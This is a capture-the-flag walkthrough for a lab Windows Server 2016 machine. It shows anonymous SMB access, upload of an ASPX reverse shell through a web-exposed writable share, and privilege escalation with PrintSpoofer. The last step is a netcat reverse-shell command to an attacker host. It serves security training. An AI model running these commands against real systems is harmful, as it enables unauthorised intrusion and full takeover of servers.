Revelant CTF

Enumeration

Network enumeration

PORT	STATE SERVICE	VERSION	
80/tcp	open	http	Microsoft IIS httpd 10.0
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
445/tcp	open	microsoft-ds	Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp	open	ms-wbt-server Microsoft Terminal Services	
49663/tcp open	http	Microsoft IIS httpd 10.0	
49667/tcp open	msrpc	Microsoft Windows RPC	
49669/tcp open	msrpc	Microsoft Windows RPC	

SMB Shares

> smbclient -L //IP/

```
 Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
nt4wrksv        Disk
```

The /nt4wrksv is accessible with anonmyous access :

> smbclient //IP/nt4wrksv

Once connected, we can see the text file : passwords.txt
Containing a two pairs of creds but encoded in base64.

Note : The SMB share is writeable, so maybe we can access the data on it somewhere like on a web server

WEB

I will use gobuster to enumerate webservers
And i will append the nt4wrksv to the wordlist I use in case it is a web endpoint to.

```
gobuster dir -u IP -w /usr/share/wordlist/dirbuster/directory-list-2.3-medium.txt
```

Nothing is found.

There is another web server running on the port 49663.
Let's use the same command but with the port specified.
We found the /nt4wrksv
And we can access the passwords.txt file

Since it's a IIS server, we can try to upload an aspx reverse shell.
Like this one : https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx

Modify the shell with your IP/PORT, set up a listener, and upload the shell using the SMB share.

http://10.10.226.109:49663/nt4wrksv/ Is linked to the /nt4wrksv smb share

SMB SHARE anonymously writeable

ASPX reverse shell https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx

Then start the reverse shell by accessing to : http://IP:49663/shell.aspx
We are now connected to the victim.

Privesc

When logged to the webserver account, we can check the privileges that we have :

```
whoami /priv
```

Privilege Name Description State
============================= === ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

The SeImpersonatePrivilege seems interesting, it may allow us to impersonate an administrator token to get elevated privileges.
You can read more about impersonation :
https://steflan-security.com/linux-privilege-escalation-token-impersonation/
https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/

Let's see what the version of windows is running :

```
systeminfo
```

Microsoft Windows Server 2016 Standard Evaluation

We will try to use the SeImpersonatePrivilege to impersonate an administrator token.
Let's use the PrintSpoofer vulnerability :
https://github.com/dievus/printspoofer/raw/master/PrintSpoofer.exe
For this, we need to be in a local service account, and we are

We will need multiple things :
PrintSpoofer.exe : The app that will exploit the ImpersonatePrivilege
nc64.exe : a netcat binary for windows to make a reverse shell

Download these binaries online like here :
PrintSpoofer.exe : https://github.com/dievus/printspoofer/raw/master/PrintSpoofer.exe
nc64 : https://github.com/int0x33/nc.exe/raw/master/nc64.exe

Then upload them using the SMB Share.
Since the SMB Share can be accessed on the webserver, we can retrieve theses files in the webserver directory
At : C:\inetpub\wwwroot\nt4wrksv

Setup a netcat listener and your attacker machine
And start the PrintSpoofer exploit using :

> PrintSpoofer.exe -c "nc64.exe ATTACKER_IP ATTACKER_PORT -e cmd"

You must get a reverse shell with elevated privilege